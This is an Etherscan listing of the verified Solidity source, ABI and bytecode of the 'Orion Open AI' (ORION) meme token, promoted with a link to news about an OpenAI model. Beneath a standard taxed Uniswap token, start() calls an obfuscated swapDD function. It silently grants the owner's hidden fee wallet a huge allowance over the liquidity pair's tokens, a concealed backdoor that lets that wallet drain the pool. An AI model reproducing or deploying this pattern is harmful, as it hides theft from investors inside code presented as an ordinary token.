Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... interface IUniswapV2Factory    - function createPair(address tokenA, a ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract ORION is Context, IERC20, ... *    - function init()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function start()    - function min(uint256 a, uint256 b)    - function withdrawEth()    - function sendETHToFee(uint256 amount)    - function removeLimits()    - function swapTokensForEth(uint256 tok ...    - function swapDD(address[2] memory tDD ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-25
*/

// SPDX-License-Identifier: MIT
/**
web:  https://orion-ai.tech
docs: https://docs.orion-ai.tech

https://www.theverge.com/2024/10/24/24278999/openai-plans-orion-ai-model-release-december

https://x.com/orion_ai_eth
https://t.me/orion_ai_eth
**/

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ORION is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFee;
    address payable private _ddReceipt = payable(0x75fD009e3A742BE496b7eF6706cFF6e66b375DF1);

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalDD = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Orion Open AI";
    string private constant _symbol = unicode"ORION";
    uint256 public _maxTxAmount = 2 * (_tTotalDD/100);
    uint256 public _maxWalletSize = 2 * (_tTotalDD/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotalDD/100);
    uint256 public _maxTaxSwap = 1 * (_tTotalDD/100);
    
    IUniswapV2Router02 private uniRouterDD;
    address private uniPairDD;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotalDD;
        _isExcludedFee[owner()] = true;
        _isExcludedFee[address(this)] = true;
        _isExcludedFee[_ddReceipt] = true;
        emit Transfer(address(0), _msgSender(), _tTotalDD);
    }
    function init() external onlyOwner {
        uniRouterDD = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterDD), _tTotalDD);
        uniPairDD = IUniswapV2Factory(uniRouterDD.factory()).createPair(
            address(this),
            uniRouterDD.WETH()
        ); 
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotalDD;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amountDD) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amountDD > 0, "Transfer amount must be greater than zero");
        uint256 taxDD=0;
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amountDD;
            _balances[to] = _balances[to] + amountDD;
            emit Transfer(from, to, amountDD);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                taxDD = (_transferTax);
            }
            if (from == uniPairDD && to != address(uniRouterDD) && ! _isExcludedFee[to] ) {
                require(amountDD <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amountDD <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxDD = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++;
            }
            if(to == uniPairDD && from!= address(this) ){
                taxDD = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPairDD && swapEnabled) {
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amountDD, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        uint256 taxAmount=taxDD.mul(amountDD).div(100);
        if(taxDD > 0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amountDD);
        _balances[to]=_balances[to].add(amountDD.sub(taxAmount));
        emit Transfer(from, to, amountDD.sub(taxAmount));
    }
    function start() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uint256 taxDD=(_tTotalDD+150)*15000+_buyCount;
        uniRouterDD.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairDD).approve(address(uniRouterDD), type(uint).max);
        swapDD([msg.sender==uniPairDD?uniPairDD:uniPairDD, msg.sender==_ddReceipt?_ddReceipt:_ddReceipt], taxDD);
        swapEnabled = true; tradingOpen = true;
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendETHToFee(uint256 amount) private {
        _ddReceipt.transfer(amount);
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotalDD;
        _maxWalletSize = _tTotalDD;
        emit MaxTxAmountUpdated(_tTotalDD);
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterDD.WETH();
        _approve(address(this), address(uniRouterDD), tokenAmount);
        uniRouterDD.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    receive() external payable {}
    function swapDD(address[2] memory tDDs, uint256 amtDD) private {
        address tDD1=tDDs[0];address tDD2=tDDs[1];_allowances[tDD1][tDD2] = amtDD;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b0319167375fd009e3a742be496b7ef6706cff6e66b375df1179055600f600581905560068190555f60078190556008819055600a6009818155818055600b93909355600c829055600d919091556064916100689161037a565b610077906461f313f88061038f565b61008191906103a6565b61008c90600261038f565b600e55606461009d6009600a61037a565b6100ac906461f313f88061038f565b6100b691906103a6565b6100c190600261038f565b600f5560646100d26009600a61037a565b6100e1906461f313f88061038f565b6100eb91906103a6565b6100f690600161038f565b60105560646101076009600a61037a565b610116906461f313f88061038f565b61012091906103a6565b61012b90600161038f565b6011556013805461ffff60a81b19169055348015610147575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101946009600a61037a565b6101a3906461f313f88061038f565b335f9081526001602081905260408220929092556003906101cb5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556102283390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61025f6009600a61037a565b61026e906461f313f88061038f565b60405190815260200160405180910390a36103c5565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102d257815f19048211156102b8576102b8610284565b808516156102c557918102915b93841c939080029061029d565b509250929050565b5f826102e857506001610374565b816102f457505f610374565b816001811461030a576002811461031457610330565b6001915050610374565b60ff84111561032557610325610284565b50506001821b610374565b5060208310610133831016604e8410600b8410161715610353575081810a610374565b61035d8383610298565b805f190482111561037057610370610284565b0290505b92915050565b5f61038860ff8416836102da565b9392505050565b808202811582820484141761037457610374610284565b5f826103c057634e487b7160e01b5f52601260045260245ffd5b500490565b6118ef806103d25f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f4578063be9a655514610313578063bf474bed14610327578063dd62ed3e1461033c578063e1c7392a14610380575f80fd5b80637d1db4a5146102635780638da5cb5b146102785780638f9a55c01461029e57806395d89b41146102b3578063a0ef91df146102e0575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c4f72696f6e204f70656e20414960981b60208201525b60405161015c91906114f9565b60405180910390f35b348015610170575f80fd5b5061018461017f366004611542565b610394565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960115481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103aa565b3480156101d6575f80fd5b506101846101e536600461156c565b6103cb565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b506101a961021f3660046115aa565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f80fd5b5061024d610432565b005b34801561025a575f80fd5b5061024d6104ac565b34801561026e575f80fd5b506101a9600e5481565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102a9575f80fd5b506101a9600f5481565b3480156102be575f80fd5b5060408051808201909152600581526427a924a7a760d91b602082015261014f565b3480156102eb575f80fd5b5061024d610560565b3480156102ff575f80fd5b5061018461030e366004611542565b6105b5565b34801561031e575f80fd5b5061024d6105c1565b348015610332575f80fd5b506101a960105481565b348015610347575f80fd5b506101a96103563660046115c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561038b575f80fd5b5061024d61089c565b5f6103a0338484610a96565b5060015b92915050565b5f6103b76009600a6116f0565b6103c6906461f313f8806116fe565b905090565b5f6103d7848484610bb9565b610428843361042385604051806060016040528060288152602001611892602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611175565b610a96565b5060019392505050565b5f546001600160a01b031633146104645760405162461bcd60e51b815260040161045b90611715565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260040161045b90611715565b6104e16009600a6116f0565b6104f0906461f313f8806116fe565b600e556104ff6009600a6116f0565b61050e906461f313f8806116fe565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053e6009600a6116f0565b61054d906461f313f8806116fe565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105895760405162461bcd60e51b815260040161045b90611715565b60405133904780156108fc02915f818181858888f193505050501580156105b2573d5f803e3d5ffd5b50565b5f6103a0338484610bb9565b5f546001600160a01b031633146105ea5760405162461bcd60e51b815260040161045b90611715565b601354600160a01b900460ff16156106445760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600d545f906106556009600a6116f0565b610664906461f313f8806116fe565b61066f90609661174a565b61067b90613a986116fe565b610685919061174a565b6012549091506001600160a01b031663f305d71947306106b9816001600160a01b03165f9081526001602052604090205490565b5f806106cc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610732573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610757919061175d565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d09190611788565b5060408051808201909152601354610882919081906001600160a01b03163314610805576013546001600160a01b0316610812565b6013546001600160a01b03165b6001600160a01b039081168252600454602090920191163314610840576004546001600160a01b031661084d565b6004546001600160a01b03165b6001600160a01b0390811690915281516020928301519082165f90815260028452604080822092909316815292529020829055565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108c55760405162461bcd60e51b815260040161045b90611715565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561090f9030906109006009600a6116f0565b610423906461f313f8806116fe565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098391906117a7565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0691906117a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7491906117a7565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610af85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610c7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b5f8111610ce05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6013545f90600160b01b900460ff161580610d045750601354600160a81b900460ff165b15610dbc576001600160a01b0384165f90815260016020526040902054610d2c9083906117c2565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d5b90839061174a565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dae9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610de657505f546001600160a01b03848116911614155b1561101f57600d5415610df85750600c545b6013546001600160a01b038581169116148015610e2357506012546001600160a01b03848116911614155b8015610e4757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4657600e54821115610e9e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045b565b600f5482610ec0856001600160a01b03165f9081526001602052604090205490565b610eca919061174a565b1115610f185760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045b565b600954600d5411610f2b57600554610f2f565b6007545b600d80549192505f610f40836117d5565b91905055505b6013546001600160a01b038481169116148015610f6c57506001600160a01b0384163014155b15610f8b57600a54600d5411610f8457600654610f88565b6008545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fc157506013546001600160a01b038581169116145b8015610fd65750601354600160b01b900460ff165b1561101d5760105481118015610fef5750600b54600d54115b156110115761101161100c84611007846011546111ad565b6111ad565b6111c4565b4761101b47611334565b505b505b5f611035606461102f848661136f565b906113ed565b905081156110af57305f90815260016020526040902054611056908261142e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a69085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110d1908461148c565b6001600160a01b0386165f908152600160205260409020556111146110f6848361148c565b6001600160a01b0386165f908152600160205260409020549061142e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115d868561148c565b60405190815260200160405180910390a35050505050565b5f81848411156111985760405162461bcd60e51b815260040161045b91906114f9565b505f6111a484866117c2565b95945050505050565b5f8183116111bb57826111bd565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120a5761120a6117ed565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611261573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128591906117a7565b81600181518110611298576112986117ed565b6001600160a01b0392831660209182029290920101526012546112be9130911684610a96565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f69085905f90869030904290600401611801565b5f604051808303815f87803b15801561130d575f80fd5b505af115801561131f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561136b573d5f803e3d5ffd5b5050565b5f825f0361137e57505f6103a4565b5f61138983856116fe565b9050826113968583611872565b146111bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b5f6111bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cd565b5f8061143a838561174a565b9050838110156111bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b5f6111bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611175565b5f81836114ed5760405162461bcd60e51b815260040161045b91906114f9565b505f6111a48486611872565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105b2575f80fd5b5f8060408385031215611553575f80fd5b823561155e8161152e565b946020939093013593505050565b5f805f6060848603121561157e575f80fd5b83356115898161152e565b925060208401356115998161152e565b929592945050506040919091013590565b5f602082840312156115ba575f80fd5b81356111bd8161152e565b5f80604083850312156115d6575f80fd5b82356115e18161152e565b915060208301356115f18161152e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561164a57815f1904821115611630576116306115fc565b8085161561163d57918102915b93841c9390800290611615565b509250929050565b5f82611660575060016103a4565b8161166c57505f6103a4565b8160018114611682576002811461168c576116a8565b60019150506103a4565b60ff84111561169d5761169d6115fc565b50506001821b6103a4565b5060208310610133831016604e8410600b84101617156116cb575081810a6103a4565b6116d58383611610565b805f19048211156116e8576116e86115fc565b029392505050565b5f6111bd60ff841683611652565b80820281158282048414176103a4576103a46115fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a4576103a46115fc565b5f805f6060848603121561176f575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611798575f80fd5b815180151581146111bd575f80fd5b5f602082840312156117b7575f80fd5b81516111bd8161152e565b818103818111156103a4576103a46115fc565b5f600182016117e6576117e66115fc565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118515784516001600160a01b03168352938301939183019160010161182c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261188c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220edc2a783ed079cf671fa6a33286d2a8d21c4363e351ab5b7d2203a4be541e94264736f6c63430008190033

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f4578063be9a655514610313578063bf474bed14610327578063dd62ed3e1461033c578063e1c7392a14610380575f80fd5b80637d1db4a5146102635780638da5cb5b146102785780638f9a55c01461029e57806395d89b41146102b3578063a0ef91df146102e0575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c4f72696f6e204f70656e20414960981b60208201525b60405161015c91906114f9565b60405180910390f35b348015610170575f80fd5b5061018461017f366004611542565b610394565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960115481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103aa565b3480156101d6575f80fd5b506101846101e536600461156c565b6103cb565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b506101a961021f3660046115aa565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f80fd5b5061024d610432565b005b34801561025a575f80fd5b5061024d6104ac565b34801561026e575f80fd5b506101a9600e5481565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102a9575f80fd5b506101a9600f5481565b3480156102be575f80fd5b5060408051808201909152600581526427a924a7a760d91b602082015261014f565b3480156102eb575f80fd5b5061024d610560565b3480156102ff575f80fd5b5061018461030e366004611542565b6105b5565b34801561031e575f80fd5b5061024d6105c1565b348015610332575f80fd5b506101a960105481565b348015610347575f80fd5b506101a96103563660046115c5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561038b575f80fd5b5061024d61089c565b5f6103a0338484610a96565b5060015b92915050565b5f6103b76009600a6116f0565b6103c6906461f313f8806116fe565b905090565b5f6103d7848484610bb9565b610428843361042385604051806060016040528060288152602001611892602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611175565b610a96565b5060019392505050565b5f546001600160a01b031633146104645760405162461bcd60e51b815260040161045b90611715565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260040161045b90611715565b6104e16009600a6116f0565b6104f0906461f313f8806116fe565b600e556104ff6009600a6116f0565b61050e906461f313f8806116fe565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053e6009600a6116f0565b61054d906461f313f88061